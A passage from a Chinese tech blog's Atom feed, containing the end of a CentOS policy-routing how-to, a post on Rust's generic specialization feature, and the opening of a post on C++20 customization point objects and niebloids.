&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;san-ce-shi&quot;&gt;三、测试&lt;&#x2F;h3&gt;
&lt;p&gt;本机操作系统：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;[root@localhost ~]# cat &amp;#x2F;etc&amp;#x2F;redhat-release
CentOS Linux release 7.2.1511 (Core)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;一共2张网卡，IP地址分别为：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;192.168.10.100&amp;#x2F;24

192.168.3.100&amp;#x2F;24
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;其中192.168.10.100在配置网卡过程中已经配置了默认网关&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;[root@localhost ~]# cat &amp;#x2F;etc&amp;#x2F;sysconfig&amp;#x2F;network-scripts&amp;#x2F;ifcfg-ens160
TYPE=Ethernet
BOOTPROTO=static
DEFROUTE=yes
PEERDNS=yes
PEERROUTES=yes
NAME=ens160
DEVICE=ens160
ONBOOT=yes
IPADDR=192.168.10.100
NETMASK=255.255.255.0
GATEWAY=192.168.10.1
DNS1=218.2.135.1
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;192.168.3.100没有配置默认网关（不能配置，因为在同一张路由表中不能存在2条默认路由）&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;[root@localhost ~]# cat &amp;#x2F;etc&amp;#x2F;sysconfig&amp;#x2F;network-scripts&amp;#x2F;ifcfg-ens192
TYPE=Ethernet
BOOTPROTO=static
DEFROUTE=yes
PEERDNS=yes
PEERROUTES=yes
NAME=ens192
DEVICE=ens192
ONBOOT=yes
IPADDR=192.168.3.100
NETMASK=255.255.255.0
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;现在我只能使用192.168.10.100进行远程，我想实现也可以通过192.168.3.100进行跨网段远程。考虑使用策略路由&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;ip rule add from 192.168.3.0&amp;#x2F;24 table 10
ip route add default via 192.168.3.1 table 10

说明：
    第一条表示来自192.168.3.0&amp;#x2F;24网关的走路由表10.
    第二条表示给路由表10设置默认网关为192.168.3.1
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;上面只是临时添加，系统重启会配置失效&lt;&#x2F;p&gt;
&lt;p&gt;下面使用永久添加办法：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;# 正常的做法是临时添加和永久添加都做，这样既不需要重启机器生效，重启后也生效

echo &amp;quot;252 storage&amp;quot; &amp;gt;&amp;gt; &amp;#x2F;etc&amp;#x2F;iproute2&amp;#x2F;rt_tables

ip rule add from 192.168.3.0&amp;#x2F;24 table storage
ip route add default via 192.168.3.1 table storage

echo &amp;quot;ip rule add from 192.168.3.0&amp;#x2F;24 table storage&amp;quot; &amp;gt;&amp;gt; &amp;#x2F;etc&amp;#x2F;rc.local
echo &amp;quot;ip route add default via 192.168.3.1 table storage&amp;quot; &amp;gt;&amp;gt; &amp;#x2F;etc&amp;#x2F;rc.local
chmod +x &amp;#x2F;etc&amp;#x2F;rc.d&amp;#x2F;rc.local
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>泛型特化 Specialization</title>
        <published>2024-03-19T00:00:00+00:00</published>
        <updated>2024-03-19T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/泛型特化-specialization/"/>
        <id>https://vercel.juzhong.asia/obsidian/泛型特化-specialization/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/泛型特化-specialization/">&lt;h1 id=&quot;fan-xing-te-hua-specialization&quot;&gt;泛型特化 Specialization&lt;&#x2F;h1&gt;
&lt;p&gt;Rust语言支持泛型特化，但还处于开发过程中，目前只能在最新的 nightly 版本中试用它的基本功能。&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;相关概念（来自知乎答主对《Rust编程之道》的解读）：Rust 中有三种多态形式——参数化多态（Parametric polymorphism）、Ad-hoc 多态（Ad-hoc polymorphism）与子类型多态（Subtype polymorphism）。其中特化（specialization）属于 Ad-hoc 多态的范畴：&quot;Ad hoc&quot; 是拉丁语短语，意为&quot;特设的、特定目的的、临时的&quot;，即为一个特定问题而专门设定的解决方案。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;rust-specialization&#x2F;rust-adhoc-polymorphism.jpg&quot; alt=&quot;Rust 三种多态形式与 Ad-hoc 多态概念解读（知乎截图）&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;jian-jie&quot;&gt;简介&lt;&#x2F;h2&gt;
&lt;p&gt;Rust不支持函数&#x2F;结构体的特化。它支持的是针对 impl 块的特化。我们可以为一组类型，impl 一个 trait，同时为其中的一部分更特殊的类型，impl 同一个 trait。&lt;&#x2F;p&gt;
&lt;p&gt;直接拿示例说话：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;#![feature(specialization)]

use std::fmt::Display;

trait Example {
    fn call(&amp;amp;self);
}

impl&amp;lt;T&amp;gt; Example for T
{
    default fn call(&amp;amp;self) {
        println!(&amp;quot;most generic&amp;quot;);
    }
}

impl&amp;lt;T&amp;gt; Example for T
    where T: Display
{
    default fn call(&amp;amp;self) {
        println!(&amp;quot;generic for Display, {}&amp;quot;, self);
    }
}

impl Example for str {
    fn call(&amp;amp;self) {
        println!(&amp;quot;specialized for str, {}&amp;quot;, self);
    }
}

fn main() {
    let v1 = vec![1i32,2,3];
    let v2 = 1_i32;
    let v3 = &amp;quot;hello&amp;quot;;

    v1.call();
    v2.call();
    v3.call();
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;用 nightly 版本编译，执行，结果为：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;most generic
generic for Display, 1
specialized for str, hello
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这段代码中，有三个 impl 块。第一个是，针对所有类型，实现 Example。第二个是，针对所有的满足 T:Display 的类型，实现 Example。第三个是，针对具体的 str 类型，实现 Example。一个比一个更具体，更特化。&lt;&#x2F;p&gt;
&lt;p&gt;对于主程序中 v1.call(); 调用，因为 Vec&amp;lt;i32&amp;gt; 类型只能匹配第一个 impl 块，因此它调用的是那个最基本的版本。对于主程序中的 v2.call(); 调用，因为 i32 类型满足 Display 约束，所以它能选择第一个或者第二个 impl 块的实现版本，而第二个 impl 块比第一个更具体，更匹配，所以编译器选择了调用第二个 impl 块的版本。而对于 v3.call(); 这句代码，实际上三个 impl 块都能和 str 类型相匹配，但是，第三个 impl 块明显比其它两个 impl 块更“特化”。因此在主程序中调用的时候，选择了执行第三个 impl 块提供的版本。&lt;&#x2F;p&gt;
&lt;p&gt;在这个示例中，前面的 impl 块针对的类型范围更广，后面的 impl 块针对的类型更具体，它们针对的类型集合是包含关系，这就是特化。当编译器发现，对某个类型，有多个 impl 都能满足条件的时候，它会自动选择使用那个最特殊最匹配的版本。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;te-hua-de-yi-yi&quot;&gt;特化的意义&lt;&#x2F;h2&gt;
&lt;p&gt;在 RFC 1210 中，作者列出了泛型特化的三个意义：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;性能优化。泛型特化可以为某些情况提供统一抽象下的特殊实现。&lt;&#x2F;li&gt;
&lt;li&gt;代码重用。泛型特化可以提供一些默认（但不完整的）实现，某些情况下可以减少重复代码。&lt;&#x2F;li&gt;
&lt;li&gt;为“高效继承”铺路。泛型特化其实跟OOP中的继承很像。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;下面拿标准库中的代码，举例说明。&lt;&#x2F;p&gt;
&lt;p&gt;标准库中存在一个 ToString trait，它的定义如下：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;pub trait ToString {
    fn to_string(&amp;amp;self) -&amp;gt; String;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;凡是实现了这个 trait 的类型，都可以调用 to_string 来得到一个 String 类型的结果。同时，标准库中还存在一个 std::fmt::Display trait，其实也可以做到类似的事情。而且 Display 是可以通过 #[derive(Display)] 由编译器自动实现的。所以，我们可以想到，针对所有满足 T: Display 的类型，我们可以为它们提供一个统一的实现：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;impl&amp;lt;T: fmt::Display + ?Sized&amp;gt; ToString for T {
    #[inline]
    fn to_string(&amp;amp;self) -&amp;gt; String {
        use core::fmt::Write;
        let mut buf = String::new();
        let _ = buf.write_fmt(format_args!(&amp;quot;{}&amp;quot;, self));
        buf.shrink_to_fit();
        buf
    }
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这样一来，我们就没必要针对每一个具体类型来实现 ToString。这么做，非常有利于代码重用，所有的满足 T:Display 的类型，都自动拥有了 to_string 方法。这么做代码确实简洁了，但是，对于某些类型，比如说 &amp;amp;str 类型想调用 to_string 方法，效率就有点让人忧伤了。因为这段代码针对的是所有满足 Display 约束的类型来实现的，它调用的是 fmt 模块的功能，内部实现非常复杂而繁琐。如果我们用 &amp;amp;str 类型调用 to_string 方法的话，还走这么复杂的一套逻辑，略显蛋疼。这也是为什么在早期的 rust 代码中，&amp;amp;str 转 String 类型比较推荐的是以下方式：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;&amp;#x2F;&amp;#x2F; 推荐
let x : String = &amp;quot;hello&amp;quot;.into();
&amp;#x2F;&amp;#x2F; 推荐
let x : String = String::from(&amp;quot;hello&amp;quot;);
&amp;#x2F;&amp;#x2F; 不推荐，因为效率低
let x : String = &amp;quot;hello&amp;quot;.to_string();
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;现在有了泛型特化，这个性能问题就可以修复了，方案如下：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;&amp;#x2F;&amp;#x2F; 通用版的 impl，更普适
impl&amp;lt;T: fmt::Display + ?Sized&amp;gt; ToString for T {
    #[inline]
    default fn to_string(&amp;amp;self) -&amp;gt; String {
        ...
    }
}

&amp;#x2F;&amp;#x2F; 针对 str 的 impl，效率更高
impl ToString for str {
    #[inline]
    fn to_string(&amp;amp;self) -&amp;gt; String {
        String::from(self)
    }
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;我们可以把那个更通用的版本，加一个 default 标记，然后再为 str 类型专门写一个特殊的实现。这样，对外接口依然保持了统一，但内部实现有所区别，尽可能地提高了效率，满足了“零开销抽象”的原则。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;default-guan-jian-zi&quot;&gt;default 关键字&lt;&#x2F;h2&gt;
&lt;p&gt;我们可以看到，在使用泛型特化功能的时候，我们在许多方法前面加上了 default 关键字。这个 default 不是全局关键字，而是一个“上下文相关”关键字，只在这种场景下是特殊的，在其它场景下，我们依然可以用它作为合法的变量&#x2F;函数名字。&lt;&#x2F;p&gt;
&lt;p&gt;为什么需要这样的一个关键字呢？这是因为，泛型特化其实很像传统OOP中的继承重写 override 功能。在传统的支持重写功能的语言中，一般都有一个类似的标记：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;C++ 中使用了 virtual 关键字来让一个方法可以在子类型中重写。Modern C++ 还支持 final 和 override 限定符。&lt;&#x2F;li&gt;
&lt;li&gt;C# 要求使用 virtual 关键字定义虚函数，用 override 关键字标记重写方法。&lt;&#x2F;li&gt;
&lt;li&gt;Java 默认让所有方法都是虚方法，但它也支持用 final 关键字让方法不可被重写。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;之所以虚函数需要这样的标记，主要是因为，重写方法在某种意义上，是一种非局部交互。调用虚函数的时候，有可能调用的是在另外一个子类中被重写后的版本。在这种情况下，最好是用一种方式表示出来，这个方法是有可能在其它地方被重写的。&lt;&#x2F;p&gt;
&lt;p&gt;虽然模板特化跟虚函数重写不是一个东西，但它们很相似。所以，一个可以被特化的方法，最好也用一个明显的标签显式标记出来。这个设计也可以保证代码的前向兼容性。&lt;&#x2F;p&gt;
&lt;p&gt;Rust 里 impl 块中的方法默认是不可被“重写”特化的。比如我们已经有一个这样的 impl 代码：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;impl&amp;lt;T&amp;gt; Example for T {
    type Output = Box&amp;lt;T&amp;gt;;
    fn generate(self) -&amp;gt; Box&amp;lt;T&amp;gt; { Box::new(self) }
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这个时候，下面这段调用应该是可以编译通过的：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;fn test(t: bool) -&amp;gt; Box&amp;lt;bool&amp;gt; {
    Example::generate(t)
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;此时，我们假如一个针对 bool 类型的特化版本：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;impl Example for bool {
    type Output = bool;
    fn generate(self) -&amp;gt; bool { self }
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这样就会导致原先的 test 方法编译失败，因为 generate 方法的返回类型变成了 bool，而不是 Box&amp;lt;bool&amp;gt;。如果我们要求使用 default 关键字来标记可以被特化的 item 的话，这个问题就可以解决了。很简单：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;impl&amp;lt;T&amp;gt; Example for T {
    default type Output = Box&amp;lt;T&amp;gt;;
    default fn generate(self) -&amp;gt; Box&amp;lt;T&amp;gt; { Box::new(self) }
}

&amp;#x2F;&amp;#x2F; 编译器应该会认为下面的返回类型不匹配
fn test(t: bool) -&amp;gt; Box&amp;lt;bool&amp;gt; {
    Example::generate(t)
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;编译器可以制定一个这样的规则：如果关联类型前面有 default 修饰，那么调用 generate 方法的返回值不能直接当成 Box&lt;T&gt; 类型处理，就可以解决代码兼容性问题。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;jiao-cha-impl&quot;&gt;交叉 impl&lt;&#x2F;h2&gt;
&lt;p&gt;前面我们已经演示了什么是泛型特化。我们可以利用泛型针对一组类型写 impl，还可以继续针对这个集合中的某一个部分写更特殊的 impl。用集合的韦恩图表示，类似这样：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;rust-specialization&#x2F;rust-specialization-venn.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;但是，如果我们写 impl 的时候针对的两个集合并非真子集关系，而是交集关系，怎么办？就像下图这样：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;rust-specialization&#x2F;rust-crossing-impl-venn.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;用代码表示，类似这样的：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;trait Foo {}
trait B {}
trait C {}

&amp;#x2F;&amp;#x2F; 第一个 impl
impl&amp;lt;T&amp;gt; Foo for T where T: B {}
&amp;#x2F;&amp;#x2F; 第二个 impl
impl&amp;lt;T&amp;gt; Foo for T where T: C {}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;那么就出现了交叉的情况。万一有一个类型满足 T: B+C 呢？那么在调用 Foo 中的方法的时候，究竟选 B 那个版本还是选 C 那个版本？ B 和 C 之间不存在继承关系，它们不是真包含关系，所以判断不出来究竟哪个比哪个更匹配，更特殊，更吻合。所以编译器在这种情况下，理应报错。&lt;&#x2F;p&gt;
&lt;p&gt;为了解决这个问题，Rust设计者又提出一个交集规则，如果两个 impl 之间存在交集，而且又不是真包含关系，那么你可以为这个交集再写一个 impl，这样这个 impl 就是最特化的那个版本。即：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;&amp;#x2F;&amp;#x2F; 第三个 impl
impl&amp;lt;T&amp;gt; Foo for T where T: B+C {}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;如果一个类型既满足 B 约束，又满足 C 约束，那么与它最匹配的 impl 版本就是新加入的第三个 impl。&lt;&#x2F;p&gt;
&lt;p&gt;交集规则看起来既简洁又直观，可惜的是，它并没有完全解决问题。还有一个遗留问题是，跨项目交互。&lt;&#x2F;p&gt;
&lt;p&gt;下面有一个比较复杂的例子，来源于 Niko 的博客。假设我们的项目中设计了一个 RichDisplay，它很像标准库中的 Display trait，但是提供了更多的新功能，因此我们会为所有已经实现了 Display 的类型，来 impl 我们的 RichDisplay:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;&amp;#x2F;&amp;#x2F; crate 1
trait RichDisplay {}
&amp;#x2F;&amp;#x2F; impl 1
impl&amp;lt;T&amp;gt; RichDisplay for T where T: Display {}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;现在，假设有另外一个项目 widget 里面，有个类型 Widget&lt;T&gt;。它没有实现 Display，但是我们希望为它实现 RichDisplay。这没什么问题，因为 RichDisplay 是我们自己设计的：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;&amp;#x2F;&amp;#x2F; crate 1
&amp;#x2F;&amp;#x2F; impl 2
impl&amp;lt;T&amp;gt; RichDisplay for Widget&amp;lt;T&amp;gt; where T: RichDisplay {}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;好了，到这里我们碰到问题了！第一个 impl 和第二个 impl 存在“潜在的”交叉的可能性。第一个 impl 说的是，为所有满足 Display 约束的类型，实现 RichDisplay；第二个 impl 说的是，为 Widget 类型实现 RichDisplay。这俩 impl 针对的类型集合是有交叉的，因此应该得到编译错误。&lt;&#x2F;p&gt;
&lt;p&gt;这里的问题在于，Widget 类型是在另外一个项目中定义的。虽然它现在没有 impl Display，但它存在这样的可能性。也就是说，某天 widget 项目，加入了以下的代码，也不应该是一个破坏性扩展：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;&amp;#x2F;&amp;#x2F; crate widget
&amp;#x2F;&amp;#x2F; impl 3
impl&amp;lt;T&amp;gt; Display for Widget&amp;lt;T&amp;gt; {}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;如果这段代码存在，那么前面的第一个 impl 和第二个 impl 就冲突了。所以现在就有一个困境：上游的 widget crate 可能在将来加入或者不加入这个 impl，所以目前第一个 impl 和第二个 impl 之间的关系，既不能认为它们完全无关，也不能认定为泛型特化。如果设计不当，上游项目中一个小小的简单的 impl 块，有可能引起下游用户的 breaking change，这是不应该出现的。&lt;&#x2F;p&gt;
&lt;p&gt;所以，如果我们要为某些 trait 添加默认实现，而且还想继续保持代码的前向兼容性，这个问题就必须考虑。仅仅靠“真子集”规则是不够用的。&lt;&#x2F;p&gt;
&lt;p&gt;泛型特化的完整规则目前依然处于酝酿之中，这个功能一时半会也还不能 stable，请大家关注 niko 的博客 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=http%3A&#x2F;&#x2F;smallcultfollowing.com&#x2F;babysteps&#x2F;&quot;&gt;Baby Steps&lt;&#x2F;a&gt;，有新的想法他会在博客上发表出来的。&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>C++20中的CPO（定制点对象）与niebloid——ranges受约束算法的调用 - zclll&#x27;s blog</title>
        <published>2024-03-18T00:00:00+00:00</published>
        <updated>2024-03-18T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/c-20中的cpo-定制点对象-与niebloid-ranges受约束算法的调用-zclll-s-blog/"/>
        <id>https://vercel.juzhong.asia/obsidian/c-20中的cpo-定制点对象-与niebloid-ranges受约束算法的调用-zclll-s-blog/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/c-20中的cpo-定制点对象-与niebloid-ranges受约束算法的调用-zclll-s-blog/">&lt;h1 id=&quot;c-20zhong-de-cpo-ding-zhi-dian-dui-xiang-yu-niebloid-rangesshou-yue-shu-suan-fa-de-diao-yong-zclll-s-blog&quot;&gt;C++20中的CPO（定制点对象）与niebloid——ranges受约束算法的调用 - zclll&#x27;s blog&lt;&#x2F;h1&gt;
&lt;p&gt;照例先来一个30s速览版本：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;CP（定制点）指的是对于一个特定名称、特定功能的函数调用可能需要&lt;strong&gt;派发给不同具体实现&lt;&#x2F;strong&gt;的调用点，此谓之“定制”；&lt;&#x2F;li&gt;
&lt;li&gt;CPO（定制点对象）是用来解决定制点问题的一个工具；&lt;&#x2F;li&gt;
&lt;li&gt;CPO的实现原理是：写成&lt;strong&gt;函数对象&lt;&#x2F;strong&gt;+&lt;code&gt;operator()&lt;&#x2F;code&gt;的实现，根据规则，二阶段的&lt;strong&gt;ADL查找在一阶段名字查找发现对象实体的时候不发生&lt;&#x2F;strong&gt;；&lt;&#x2F;li&gt;
&lt;li&gt;niebloid是指&lt;code&gt;ranges&lt;&#x2F;code&gt;算法的调用。&lt;strong&gt;它和CPO的关系是：niebloids现阶段使用CPO作为具体实现方式。&lt;&#x2F;strong&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;hr &#x2F;&gt;
&lt;p&gt;那么，正文开始：&lt;&#x2F;p&gt;
&lt;p&gt;CPO和niebloid应该说是C++20当中最为晦涩的概念了，对于大多数人来说，我们永远都不需要自己去实现这种东西。但它们当中蕴含的技巧非常之巧妙，能够让我们对函数调用和库功能设计的理解提高一个档次。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;1-intro&quot;&gt;1 Intro&lt;&#x2F;h2&gt;
&lt;p&gt;大多数讲解CPO的文章都会提到&lt;code&gt;swap&lt;&#x2F;code&gt;的例子，我们这里也不能免俗。简单来说，我们考虑如何交换两个对象：&lt;&#x2F;p&gt;
&lt;p&gt;最基本的做法是，我们可以&lt;code&gt;swap(a, b)&lt;&#x2F;code&gt;，标准库有一个经典的三赋值实现，这很容易理解。&lt;&#x2F;p&gt;
&lt;p&gt;然而问题来了，如果这个实现不是我们想要的呢？&lt;&#x2F;p&gt;
&lt;h2 id=&quot;situation-ding-zhi-dian&quot;&gt;Situation——定制点&lt;&#x2F;h2&gt;
&lt;p&gt;一个典型的情况是，我们要交换的对象是&lt;strong&gt;pimpl的&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;p&gt;pimpl对象&lt;&#x2F;p&gt;
&lt;p&gt;PIMPL（pointer to implementation，指向实现的指针）是一种C++当中的编程技巧，在类的公开接口中不包含具体实现，而是使用指针指向一个实现类，而实现类可以在分离的翻译单元中进行开发。它的原理是，&lt;strong&gt;指针可以指向不完整类型&lt;&#x2F;strong&gt;（因为指针指的是被指对象首地址，而不需要知道对象具体内存情况），这样我们在定义中使用一个前置声明，就可以把实现扔出当前翻译单元了：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;&amp;#x2F;&amp;#x2F; in header file
class widget {
public:
    widget();
    ~widget();
private:
    class impl;
    impl* pimpl;
};

&amp;#x2F;&amp;#x2F; in implementation file
class widget::impl {
    &amp;#x2F;&amp;#x2F; :::
};

&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这样就形成了所谓的“编译防火墙”：对实现类&lt;code&gt;impl&lt;&#x2F;code&gt;的改动不会引发使用了对应header的文件的重编译，极大地减轻了编译期的依赖；对类成员布局的修改，也不会破坏接口的ABI。&lt;&#x2F;p&gt;
&lt;p&gt;对于这样一个对象，我们如果调用三赋值的&lt;code&gt;swap&lt;&#x2F;code&gt;会发生什么呢？那会引发&lt;strong&gt;三次深拷贝&lt;&#x2F;strong&gt;，因为pimpl类型通过指针管理实际对象，显然这里调用的拷贝构造（赋值），我们会把它实现成深拷贝的。而这里我们实际需要做的是交换&lt;code&gt;pimpl&lt;&#x2F;code&gt;指针就可以了。这种情况下，我们应该自己去实现一个特殊的、高效的&lt;code&gt;swap(widget&amp;amp;, widget&amp;amp;)&lt;&#x2F;code&gt;函数，然后调用这个实现。&lt;&#x2F;p&gt;
&lt;p&gt;也就是说，出现了这样一种情况：&lt;strong&gt;我们希望对同一个函数名的调用，会根据不同的条件（主要是特定类别参数）实际调用不同的合适实现。&lt;&#x2F;strong&gt; 这样的函数调用点，我们就称之为&lt;strong&gt;定制点&lt;&#x2F;strong&gt;。它定制的是处理不同的实参时，函数不同的实际表现。&lt;&#x2F;p&gt;
&lt;p&gt;怎么做呢？容易想到两种思路：&lt;&#x2F;p&gt;
&lt;h3 id=&quot;method-1-mo-ban-te-hua-x&quot;&gt;Method 1——模板特化 ×&lt;&#x2F;h3&gt;
&lt;p&gt;最容易想到的就是给对应函数直接添加特化，然而这并不总是有效。&lt;&#x2F;p&gt;
&lt;p&gt;原因是&lt;strong&gt;函数模板无法偏特化&lt;&#x2F;strong&gt;，见下例：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;namespace My{
	struct A{};

	template&amp;lt;typename T&amp;gt;
	struct B{};
}
template&amp;lt;&amp;gt;
void std::swap&amp;lt;::My::A&amp;gt;(::My::A&amp;amp; a, ::My::A&amp;amp; b)
        noexcept(__and_&amp;lt;is_nothrow_move_constructible&amp;lt;::My::A&amp;gt;, is_nothrow_move_assignable&amp;lt;::My::A&amp;gt;&amp;gt;::value)
		{} &amp;#x2F;&amp;#x2F; ok

template&amp;lt;typename T&amp;gt;
void std::swap&amp;lt;::My::B&amp;lt;T&amp;gt;&amp;gt;(::My::B&amp;lt;T&amp;gt;&amp;amp; a, ::My::B&amp;lt;T&amp;gt;&amp;amp; b)
	noexcept(__and_&amp;lt;is_nothrow_move_constructible&amp;lt;::My::B&amp;lt;T&amp;gt;&amp;gt;, is_nothrow_move_assignable&amp;lt;::My::B&amp;lt;T&amp;gt;&amp;gt;&amp;gt;::value)
		{} &amp;#x2F;&amp;#x2F; ill-form

&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这里对&lt;code&gt;My::A&lt;&#x2F;code&gt;的特化是成功的，然而&lt;code&gt;My::B&amp;lt;T&amp;gt;&lt;&#x2F;code&gt;则不行，因为这属于一种偏特化，而函数模板是无法进行偏特化的。因此像&lt;code&gt;hash&amp;lt;user_type&amp;gt;&lt;&#x2F;code&gt;一样添加模板特化的方式，并不是我们需要的答案。&lt;&#x2F;p&gt;
&lt;p&gt;既然函数模板不能偏特化，而一般我们要偏特化函数模板的时候，都是通过functor（仿函数，它的本质是类，可以偏特化）去实现的。那么这里采用同样的手法实现可不可以呢？这也是不行的。因为像&lt;code&gt;swap&lt;&#x2F;code&gt;这样，我们已经有了一个作为&lt;strong&gt;函数&lt;&#x2F;strong&gt;的实现，如果再出现一个作为&lt;strong&gt;对象实现&lt;&#x2F;strong&gt;的functor和它同时可见，那么&lt;strong&gt;重载决议会失败&lt;&#x2F;strong&gt;。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;method-2-adl-sqrt&quot;&gt;Method 2——ADL √&lt;&#x2F;h3&gt;
